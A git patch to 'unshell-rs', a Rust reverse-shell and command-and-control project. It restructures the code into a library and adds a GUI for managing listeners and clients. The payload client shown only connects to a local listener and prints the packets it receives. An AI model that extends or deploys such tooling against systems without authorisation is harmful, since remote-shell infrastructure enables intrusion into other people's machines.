From 92c9f08a5c5b34b79d991e9be837e30fed8d04b0 Mon Sep 17 00:00:00 2001 From: Michael Mikovsky <77305074+Astatin3@users.noreply.github.com> Date: Thu, 5 Jun 2025 16:02:28 -0600 Subject: [PATCH] Move files around, add UI --- Cargo.toml | 11 +- THINGS.md | 1 + build.rs | 3 + payload/Cargo.toml | 3 +- payload/src/main.rs | 66 +++++-- server/Cargo.toml | 7 - server/src/main.rs | 14 -- src/gui.rs | 62 +++++++ src/lib.rs | 10 +- src/main.rs | 73 ++++++++ src/payload.rs | 80 --------- src/server.rs | 0 ui/app-window.slint | 161 ++++++++++++++++++ ui/components.slint | 27 +++ ui/page.slint | 5 + ui/pages/clients.slint | 9 + ui/pages/dashboard.slint | 3 + ui/pages/listeners.slint | 64 +++++++ ui/pages/tools.slint | 3 + ui/structs.slint | 6 + unshell-rs-lib/Cargo.toml | 9 + unshell-rs-lib/src/config/campaign.rs | 6 + unshell-rs-lib/src/config/layers.rs | 4 + unshell-rs-lib/src/config/listeners.rs | 14 ++ unshell-rs-lib/src/config/mod.rs | 3 + {src => unshell-rs-lib/src}/layers/base64.rs | 3 +- {src => unshell-rs-lib/src}/layers/mod.rs | 3 +- unshell-rs-lib/src/lib.rs | 8 + .../src}/listeners/client.rs | 0 {src => unshell-rs-lib/src}/listeners/mod.rs | 2 + .../src}/listeners/server.rs | 13 +- {src => unshell-rs-lib/src}/networkers/mod.rs | 0 {src => unshell-rs-lib/src}/networkers/tcp.rs | 0 {src => unshell-rs-lib/src}/packets/mod.rs | 0 .../src}/packets/sysinfo.rs | 0 35 files changed, 541 insertions(+), 132 deletions(-) create mode 100644 build.rs delete mode 100644 server/Cargo.toml delete mode 100644 server/src/main.rs create mode 100644 src/gui.rs create mode 100644 src/main.rs delete mode 100644 src/payload.rs create mode 100644 src/server.rs create mode 100644 ui/app-window.slint create mode 100644 ui/components.slint create mode 100644 ui/page.slint create mode 100644 ui/pages/clients.slint create mode 100644 ui/pages/dashboard.slint create mode 100644 ui/pages/listeners.slint create mode 100644 ui/pages/tools.slint create mode 100644 ui/structs.slint create mode 100644 unshell-rs-lib/Cargo.toml create mode 100644 unshell-rs-lib/src/config/campaign.rs create mode 100644 unshell-rs-lib/src/config/layers.rs create mode 100644 unshell-rs-lib/src/config/listeners.rs create mode 100644 unshell-rs-lib/src/config/mod.rs rename {src => unshell-rs-lib/src}/layers/base64.rs (82%) rename {src => unshell-rs-lib/src}/layers/mod.rs (59%) create mode 100644 unshell-rs-lib/src/lib.rs rename {src => unshell-rs-lib/src}/listeners/client.rs (100%) rename {src => unshell-rs-lib/src}/listeners/mod.rs (65%) rename {src => unshell-rs-lib/src}/listeners/server.rs (80%) rename {src => unshell-rs-lib/src}/networkers/mod.rs (100%) rename {src => unshell-rs-lib/src}/networkers/tcp.rs (100%) rename {src => unshell-rs-lib/src}/packets/mod.rs (100%) rename {src => unshell-rs-lib/src}/packets/sysinfo.rs (100%) diff --git a/Cargo.toml b/Cargo.toml index 572b7cf..893260e 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,10 +1,17 @@ [package] -name = "unshell-rs" +name = "server" version = "0.1.0" edition = "2024" [dependencies] -base64 = "0.22.1" +clap = { version = "4.5.39", features = ["derive"] } log = "0.4.27" +pretty_env_logger = "0.5.0" serde = { version = "1.0.219", features = ["derive"] } serde_json = "1.0.140" +slint = "1.11.0" +unshell-rs-lib = { path = "./unshell-rs-lib" } + + +[build-dependencies] +slint-build = "1.11.0" diff --git a/THINGS.md b/THINGS.md index 89be668..c44121b 100644 --- a/THINGS.md +++ b/THINGS.md @@ -6,6 +6,7 @@ - Probably out of scope - Build targets - To achieve a minimal size, there should probably be a way to pack diffrent features with the actual result binary. + - There should also be a way to update one of the hosts with the new functionality. ### Network - Diffrent traffic obfuscators: diff --git a/build.rs b/build.rs new file mode 100644 index 0000000..9bc3037 --- /dev/null +++ b/build.rs @@ -0,0 +1,3 @@ +fn main() { + slint_build::compile("ui/app-window.slint").expect("Slint build failed"); +} diff --git a/payload/Cargo.toml b/payload/Cargo.toml index 49d5773..fa22a8f 100644 --- a/payload/Cargo.toml +++ b/payload/Cargo.toml @@ -4,5 +4,6 @@ version = "0.1.0" edition = "2024" [dependencies] +serde_json = "1.0.140" # libc = "0.2.172" -unshell-rs = { path = "../" } +unshell-rs-lib = { path = "../unshell-rs-lib" } diff --git a/payload/src/main.rs b/payload/src/main.rs index 32d7cae..81739e8 100644 --- a/payload/src/main.rs +++ b/payload/src/main.rs @@ -2,20 +2,64 @@ // mod execute; use std::error::Error; -use unshell_rs::{ - networkers::{TCPClient, TCPConnection}, - payload::run_client, + +use std::{ + sync::{Arc, Mutex}, + thread, + time::Duration, }; -// /// Pipe streams are blocking, we need separate threads to monitor them without blocking the primary thread. -// fn child_stream_to_vec(mut stream: R) -> Arc>> -// where -// R: Read + Send + 'static, -// { -// let out = Arc::new(Mutex::new(Vec::new())); -// let vec = out.clone(); +use unshell_rs_lib::{ + networkers::{ClientTrait, Connection, TCPClient, TCPConnection}, + packets::Packet, +}; -// } +// Generic client function +pub fn run_client(address: &str) -> Result<(), Box> +where + Cl: ClientTrait, + C: Connection + 'static, + Cl::Error: std::error::Error + 'static, + C::Error: std::error::Error + 'static, +{ + let recv_conn = Arc::new(Mutex::new(Cl::connect(address)?)); + let transmit_vec: Arc>> = Arc::new(Mutex::new(Vec::new())); + + let transmit_conn = Arc::clone(&recv_conn); + let transmit_vec_clone = Arc::clone(&transmit_vec); + + thread::spawn(move || { + loop { + let mut transmit_vec_lock = transmit_vec.lock().unwrap(); + if transmit_vec_lock.len() > 0 { + let mut conn_lock = recv_conn.lock().unwrap(); + if let Ok(json) = serde_json::to_string(&transmit_vec_lock.pop().unwrap()) { + conn_lock.write(&json).expect("Failed to send packet!"); + } + } else { + thread::sleep(Duration::from_millis(10)); + } + } + }); + + loop { + let mut conn_lock = transmit_conn.lock().unwrap(); + let data = conn_lock.read(); + drop(conn_lock); + match data { + Ok(data_json) => { + if data_json.is_empty() { + continue; + } + let packet = serde_json::from_str::(data_json.as_str()); + println!("{:?}", packet); + } + Err(e) => { + eprintln!("Error reading, {}", e); + } + } + } +} fn main() -> Result<(), Box> { run_client::("127.0.0.1:3000")?; diff --git a/server/Cargo.toml b/server/Cargo.toml deleted file mode 100644 index 9ebb903..0000000 --- a/server/Cargo.toml +++ /dev/null @@ -1,7 +0,0 @@ -[package] -name = "server" -version = "0.1.0" -edition = "2024" - -[dependencies] -unshell-rs = { path = "../" } diff --git a/server/src/main.rs b/server/src/main.rs deleted file mode 100644 index 6bbbc25..0000000 --- a/server/src/main.rs +++ /dev/null @@ -1,14 +0,0 @@ -use std::error::Error; - -use unshell_rs::{ - listeners::Listener, - networkers::{ServerTrait, TCPServer}, -}; - -fn main() -> Result<(), Box> { - let mut server = Listener::new(TCPServer::bind("0.0.0.0:3000")?); - - server.run_listener()?; - - Ok(()) -} diff --git a/src/gui.rs b/src/gui.rs new file mode 100644 index 0000000..01d020d --- /dev/null +++ b/src/gui.rs @@ -0,0 +1,62 @@ +use slint::{ModelRc, VecModel}; +use std::error::Error; +use unshell_rs_lib::config::listeners::ListenerConfig; + +pub struct Unshell_Gui; + +slint::include_modules!(); +impl Unshell_Gui { + pub fn start() -> Result> { + let ui = AppWindow::new()?; + + // ui. + + let ui_handle = ui.as_weak(); + ui.on_tab_clicked(move |index| { + let ui = ui_handle.unwrap(); + ui.set_current_tab(index); + trace!("Tab {} selected", index); + }); + + ui.set_app_info({ + (String::new() + + "Unshell\n" + + "Version " + + env!("CARGO_PKG_VERSION") + + "\n\n View the source code at:\n https://github.com/astatin3/unshell-rs") + .into() + }); + + let listeners: Vec = vec![ListenerConfig::Tcp { + enabled: true, + name: "test".to_string(), + remote_host: "127.0.0.1".to_string(), + port: 25565, + layers: Vec::new(), + }]; + + ui.set_listeners(ModelRc::new(VecModel::from( + listeners + .iter() + .map(|l| match l { + ListenerConfig::Tcp { + enabled, + name, + remote_host, + port, + layers, + } => UITcpListener { + enabled: *enabled, + name: name.clone().into(), + remote_host: remote_host.clone().into(), + port: *port as i32, + }, + }) + .collect::>(), + ))); + + ui.run()?; + + Ok(Self {}) + } +} diff --git a/src/lib.rs b/src/lib.rs index 45e8ee6..095dab7 100644 --- a/src/lib.rs +++ b/src/lib.rs @@ -1,5 +1,5 @@ -pub mod layers; -pub mod listeners; -pub mod networkers; -pub mod packets; -pub mod payload; +#[macro_use] +extern crate log; + +mod gui; +mod server; diff --git a/src/main.rs b/src/main.rs new file mode 100644 index 0000000..19411d2 --- /dev/null +++ b/src/main.rs @@ -0,0 +1,73 @@ +use std::error::Error; + +use clap::{Parser, Subcommand}; +use log::trace; +use slint::{ModelRc, VecModel}; +use unshell_rs_lib::{ + config::listeners::ListenerConfig, + listeners::Listener, + networkers::{ServerTrait, TCPServer}, +}; + +/// The default port that this program looks for +pub static DEFAULT_SERVICE_PORT: u16 = 13370; +/// The default website port that this program looks for +pub static DEFAULT_WEB_PORT: u16 = 8082; + +#[derive(Debug, Parser)] +#[command(name = "unshell-rs")] +#[command(about = "Slick reverse shell tool in rust", long_about = None)] +struct Args { + #[command(subcommand)] + command: Commands, +} + +#[derive(Debug, Subcommand)] +enum Commands { + /// Run as a service, and potentially hosting a website + #[command(arg_required_else_help = true)] + Serve { + /// Only listen for command clients locally + #[arg(short, long, default_value_t = false)] + local: bool, + + /// Port listen to for command clients + #[arg(short, long, default_value_t = DEFAULT_SERVICE_PORT)] + service_port: u16, + // /// Port to listen for website traffic (0 is disabled) + // #[arg(short, long, default_value_t = DEFAULT_SERVICE_PORT)] + // web_port: u16, + }, + Gui { + /// Listen for command clients remotely aswell + #[arg(short, long, default_value_t = true)] + remote: bool, + + /// Port listen to for command clients + #[arg(short, long, default_value_t = DEFAULT_SERVICE_PORT)] + service_port: u16, + }, +} + +fn main() -> Result<(), Box> { + pretty_env_logger::init(); + let args = Args::parse(); + + match args.command { + Commands::Gui { + remote, + service_port, + } => {} + Commands::Serve { + local, + service_port, + // web_port, + } => {} + } + + // let mut server = Listener::new(TCPServer::bind("0.0.0.0:3000")?); + + // server.run_listener()?; + + Ok(()) +} diff --git a/src/payload.rs b/src/payload.rs deleted file mode 100644 index b890707..0000000 --- a/src/payload.rs +++ /dev/null @@ -1,80 +0,0 @@ -use std::{ - sync::{Arc, Mutex}, - thread, - time::Duration, -}; - -use crate::{ - networkers::{ClientTrait, Connection}, - packets::Packet, -}; - -// Generic client function -pub fn run_client(address: &str) -> Result<(), Box> -where - Cl: ClientTrait, - C: Connection + 'static, - Cl::Error: std::error::Error + 'static, - C::Error: std::error::Error + 'static, -{ - let recv_conn = Arc::new(Mutex::new(Cl::connect(address)?)); - let transmit_vec: Arc>> = Arc::new(Mutex::new(Vec::new())); - - let transmit_conn = Arc::clone(&recv_conn); - let transmit_vec_clone = Arc::clone(&transmit_vec); - - thread::spawn(move || { - loop { - let mut transmit_vec_lock = transmit_vec.lock().unwrap(); - if transmit_vec_lock.len() > 0 { - let mut conn_lock = recv_conn.lock().unwrap(); - if let Ok(json) = serde_json::to_string(&transmit_vec_lock.pop().unwrap()) { - conn_lock.write(&json).expect("Failed to send packet!"); - } - } else { - thread::sleep(Duration::from_millis(10)); - } - } - }); - - loop { - let mut conn_lock = transmit_conn.lock().unwrap(); - let data = conn_lock.read(); - drop(conn_lock); - match data { - Ok(data_json) => { - if data_json.is_empty() { - continue; - } - let packet = serde_json::from_str::(data_json.as_str()); - println!("{:?}", packet); - } - Err(e) => { - eprintln!("Error reading, {}", e); - } - } - } - - // loop { - // let mut input = String::new(); - // stdin.read_line(&mut input)?; - // let input = input.trim(); - - // if input == "quit" { - // conn.write(input)?; - // break; - // } - - // if !input.is_empty() { - // conn.write(input)?; - - // match conn.read() { - // Ok(response) => println!("Server: {}", response), - // Err(e) => { - // eprintln!("Failed to read response: {:?}", e); - // break; - // } - // } - // } - // } -} diff --git a/src/server.rs b/src/server.rs new file mode 100644 index 0000000..e69de29 diff --git a/ui/app-window.slint b/ui/app-window.slint new file mode 100644 index 0000000..bfb9c2e --- /dev/null +++ b/ui/app-window.slint @@ -0,0 +1,161 @@ +import { Button, HorizontalBox, VerticalBox, Slider, StandardButton } from "std-widgets.slint"; +import { DashboardPage } from "pages/dashboard.slint"; +import { ListenersPage } from "pages/listeners.slint"; +import { ClientsPage } from "pages/clients.slint"; +import { ToolsPage } from "pages/tools.slint"; +import { UITcpListener } from "structs.slint"; +import { BorderedRectangle } from "components.slint"; + +component SideButton inherits Button { + in property sidebar_size: 40px; + + preferred-width: sidebar_size; + height: sidebar_size; +} + +export component AppWindow inherits Window { + + in-out property current-tab: 0; + in-out property <[UITcpListener]> listeners; + + in-out property app-info; + + callback tab-clicked(int); + + tab-clicked(index) => { + current-tab = index; + } + + // background: @linear-gradient(20deg, #1a161d 0%, #27222a 100%); + MenuBar { + + Menu { + title: @tr("File"); + MenuItem { + title: @tr("New"); + activated => { + // file-new(); + } + } + + MenuItem { + title: @tr("Open"); + activated => { + // file-open(); + } + } + } + + Menu { + title: @tr("Edit"); + + MenuItem { + title: @tr("Copy"); + } + + MenuItem { + title: @tr("Paste"); + } + + MenuSeparator { } + + Menu { + title: @tr("Find"); + MenuItem { + title: @tr("Find in document..."); + } + + MenuItem { + title: @tr("Find Next"); + } + + MenuItem { + title: @tr("Find Previous"); + } + } + } + } + + callback request-increase-value(); + HorizontalLayout { + + BorderedRectangle { + VerticalLayout { + spacing: 5px; + padding: 10px; + + Text { + text: "Unshell"; + font-size: 14px; + font-weight: 1000; + horizontal-alignment: center; + } + + for entry[i] in [ + { name: "Dashboard" }, + { name: "Listeners" }, + { name: "Clients" }, + { name: "Tools" }, + ]: SideButton { + text: entry.name; + + clicked => { + root.tab-clicked(i); + } + } + + + // Strechy + Rectangle { } + + SideButton { + text: "Info"; + + clicked => { + info-window.visible = true; + } + } + } + } + + // Text { + // text: "Counter: \{root.counter}"; + // } + + Rectangle { + + if current-tab == 0: DashboardPage { } + if current-tab == 1: ListenersPage { + listeners: listeners; + } + if current-tab == 2: ClientsPage { } + if current-tab == 3: ToolsPage { } + } + + callback file-new(); + callback file-open(); + } + + info-window := Dialog { + visible: false; + + BorderedRectangle { + VerticalLayout { + padding: 10px; + spacing: 10px; + + Text { + font-size: 20px; + text: app-info; + } + + StandardButton { + kind: ok; + clicked => { + info-window.visible = false; + } + } + } + } + } +} diff --git a/ui/components.slint b/ui/components.slint new file mode 100644 index 0000000..e3c48e3 --- /dev/null +++ b/ui/components.slint @@ -0,0 +1,27 @@ + +export component BorderedRectangle inherits Rectangle { + background: #2a232a; + border-width: 1px; + border-color: darkslateblue; +} + +export component BoolText inherits Text { + in property state; + + text: state ? "TRUE" : "FALSE"; + color: state ? #00ff00 : #ff0000; +} + +export component TitleText inherits HorizontalLayout { + in property text; + + alignment: start; + + Text { + text: text; + font-weight: 700; + font-size: 15px; + } + + @children +} diff --git a/ui/page.slint b/ui/page.slint new file mode 100644 index 0000000..cb740bd --- /dev/null +++ b/ui/page.slint @@ -0,0 +1,5 @@ +import { VerticalBox } from "std-widgets.slint"; +export component Page inherits VerticalBox { + padding: 20px; + alignment: start; +} diff --git a/ui/pages/clients.slint b/ui/pages/clients.slint new file mode 100644 index 0000000..cdfd857 --- /dev/null +++ b/ui/pages/clients.slint @@ -0,0 +1,9 @@ +import { Page } from "../page.slint"; + +export component ClientsPage inherits Page { + Text { + text: "Clients"; + font-size: 18px; + font-weight: 700; + } +} diff --git a/ui/pages/dashboard.slint b/ui/pages/dashboard.slint new file mode 100644 index 0000000..c0a49be --- /dev/null +++ b/ui/pages/dashboard.slint @@ -0,0 +1,3 @@ +import { Page } from "../page.slint"; + +export component DashboardPage inherits Page { } diff --git a/ui/pages/listeners.slint b/ui/pages/listeners.slint new file mode 100644 index 0000000..b411010 --- /dev/null +++ b/ui/pages/listeners.slint @@ -0,0 +1,64 @@ +import { Page } from "../page.slint"; +import { UITcpListener } from "../structs.slint"; +import { ScrollView, GridBox, Button } from "std-widgets.slint"; +import { BorderedRectangle, BoolText, TitleText } from "../components.slint"; + + +component ListenerCard inherits BorderedRectangle { + in property listener; + + VerticalLayout { + padding: 10px; + + Text { + text: listener.name; + font-weight: 700; + font-size: 18px; + } + + TitleText { + text: "Enabled: "; + BoolText { + state: listener.enabled; + font-weight: 500; + font-size: 14px; + } + } + + TitleText { + text: "Remote Host: "; + Text { + text: listener.remote-host; + font-weight: 500; + font-size: 14px; + } + } + + TitleText { + text: "Port: "; + + Text { + text: listener.port; + font-weight: 500; + font-size: 14px; + } + } + } +} + +export component ListenersPage inherits Page { + in-out property <[UITcpListener]> listeners; + + ScrollView { + width: 100%; + height: 100%; + VerticalLayout { + + for listener[i] in listeners: ListenerCard { + listener: listener; + } + + Rectangle { } + } + } +} diff --git a/ui/pages/tools.slint b/ui/pages/tools.slint new file mode 100644 index 0000000..1f758d2 --- /dev/null +++ b/ui/pages/tools.slint @@ -0,0 +1,3 @@ +import { Page } from "../page.slint"; + +export component ToolsPage inherits Page { } diff --git a/ui/structs.slint b/ui/structs.slint new file mode 100644 index 0000000..6e03039 --- /dev/null +++ b/ui/structs.slint @@ -0,0 +1,6 @@ +export struct UITcpListener { + enabled: bool, + name: string, + remote_host: string, + port: int, +} diff --git a/unshell-rs-lib/Cargo.toml b/unshell-rs-lib/Cargo.toml new file mode 100644 index 0000000..add0554 --- /dev/null +++ b/unshell-rs-lib/Cargo.toml @@ -0,0 +1,9 @@ +[package] +name = "unshell-rs-lib" +edition = "2024" + +[dependencies] +base64 = "0.22.1" +log = "0.4.27" +serde = { version = "1.0.219", features = ["derive"] } +serde_json = "1.0.140" diff --git a/unshell-rs-lib/src/config/campaign.rs b/unshell-rs-lib/src/config/campaign.rs new file mode 100644 index 0000000..e9141be --- /dev/null +++ b/unshell-rs-lib/src/config/campaign.rs @@ -0,0 +1,6 @@ +use serde::{Deserialize, Serialize}; + +#[derive(Debug, Serialize, Deserialize)] +pub struct CampignConfig { + name: String, +} diff --git a/unshell-rs-lib/src/config/layers.rs b/unshell-rs-lib/src/config/layers.rs new file mode 100644 index 0000000..32290af --- /dev/null +++ b/unshell-rs-lib/src/config/layers.rs @@ -0,0 +1,4 @@ +use serde::{Deserialize, Serialize}; + +#[derive(Debug, Serialize, Deserialize)] +pub enum LayerConfig {} diff --git a/unshell-rs-lib/src/config/listeners.rs b/unshell-rs-lib/src/config/listeners.rs new file mode 100644 index 0000000..6211a6d --- /dev/null +++ b/unshell-rs-lib/src/config/listeners.rs @@ -0,0 +1,14 @@ +use serde::{Deserialize, Serialize}; + +use crate::config::layers::LayerConfig; + +#[derive(Debug, Serialize, Deserialize)] +pub enum ListenerConfig { + Tcp { + enabled: bool, + name: String, + remote_host: String, + port: u16, + layers: Vec, + }, +} diff --git a/unshell-rs-lib/src/config/mod.rs b/unshell-rs-lib/src/config/mod.rs new file mode 100644 index 0000000..1180b62 --- /dev/null +++ b/unshell-rs-lib/src/config/mod.rs @@ -0,0 +1,3 @@ +pub mod campaign; +pub mod layers; +pub mod listeners; diff --git a/src/layers/base64.rs b/unshell-rs-lib/src/layers/base64.rs similarity index 82% rename from src/layers/base64.rs rename to unshell-rs-lib/src/layers/base64.rs index 2f3aa2a..8a4e3ef 100644 --- a/src/layers/base64.rs +++ b/unshell-rs-lib/src/layers/base64.rs @@ -1,7 +1,8 @@ use crate::layers::Layer; use base64; +use serde::{Deserialize, Serialize}; -#[derive(Default)] +#[derive(Default, Serialize, Deserialize)] pub struct Base64; impl Layer for Base64 { diff --git a/src/layers/mod.rs b/unshell-rs-lib/src/layers/mod.rs similarity index 59% rename from src/layers/mod.rs rename to unshell-rs-lib/src/layers/mod.rs index c338522..8fa8927 100644 --- a/src/layers/mod.rs +++ b/unshell-rs-lib/src/layers/mod.rs @@ -1,4 +1,4 @@ -pub trait Layer { +pub trait Layer: Serialize + Deserialize<'static> + Sized { fn encode(&mut self, data: &[u8]) -> Vec; fn decode(&mut self, data: &[u8]) -> Vec; } @@ -6,3 +6,4 @@ pub trait Layer { pub mod base64; pub use base64::Base64; +use serde::{Deserialize, Serialize}; diff --git a/unshell-rs-lib/src/lib.rs b/unshell-rs-lib/src/lib.rs new file mode 100644 index 0000000..14ecc9e --- /dev/null +++ b/unshell-rs-lib/src/lib.rs @@ -0,0 +1,8 @@ +#[macro_use] +extern crate log; + +pub mod config; +pub mod layers; +pub mod listeners; +pub mod networkers; +pub mod packets; diff --git a/src/listeners/client.rs b/unshell-rs-lib/src/listeners/client.rs similarity index 100% rename from src/listeners/client.rs rename to unshell-rs-lib/src/listeners/client.rs diff --git a/src/listeners/mod.rs b/unshell-rs-lib/src/listeners/mod.rs similarity index 65% rename from src/listeners/mod.rs rename to unshell-rs-lib/src/listeners/mod.rs index 66a989e..12b6dd8 100644 --- a/src/listeners/mod.rs +++ b/unshell-rs-lib/src/listeners/mod.rs @@ -1,3 +1,5 @@ +use crate::layers::Layer; + mod client; mod server; diff --git a/src/listeners/server.rs b/unshell-rs-lib/src/listeners/server.rs similarity index 80% rename from src/listeners/server.rs rename to unshell-rs-lib/src/listeners/server.rs index 73d7c88..29fad41 100644 --- a/src/listeners/server.rs +++ b/unshell-rs-lib/src/listeners/server.rs @@ -1,15 +1,8 @@ -use log::{info, trace, warn}; - -use std::{ - io::{self, Write}, - sync::{Arc, Mutex}, - thread, -}; +use std::sync::{Arc, Mutex}; use crate::{ - listeners::client::{self, Client}, + listeners::client::Client, networkers::{Connection, ServerTrait}, - packets::Packet, }; pub struct Listener { @@ -41,7 +34,7 @@ impl Listener { clients_lock.push(Client::new(conn)); } Err(e) => { - eprintln!("Failed to accept connection: {:?}", e); + error!("Failed to accept connection: {:?}", e); } } } diff --git a/src/networkers/mod.rs b/unshell-rs-lib/src/networkers/mod.rs similarity index 100% rename from src/networkers/mod.rs rename to unshell-rs-lib/src/networkers/mod.rs diff --git a/src/networkers/tcp.rs b/unshell-rs-lib/src/networkers/tcp.rs similarity index 100% rename from src/networkers/tcp.rs rename to unshell-rs-lib/src/networkers/tcp.rs diff --git a/src/packets/mod.rs b/unshell-rs-lib/src/packets/mod.rs similarity index 100% rename from src/packets/mod.rs rename to unshell-rs-lib/src/packets/mod.rs diff --git a/src/packets/sysinfo.rs b/unshell-rs-lib/src/packets/sysinfo.rs similarity index 100% rename from src/packets/sysinfo.rs rename to unshell-rs-lib/src/packets/sysinfo.rs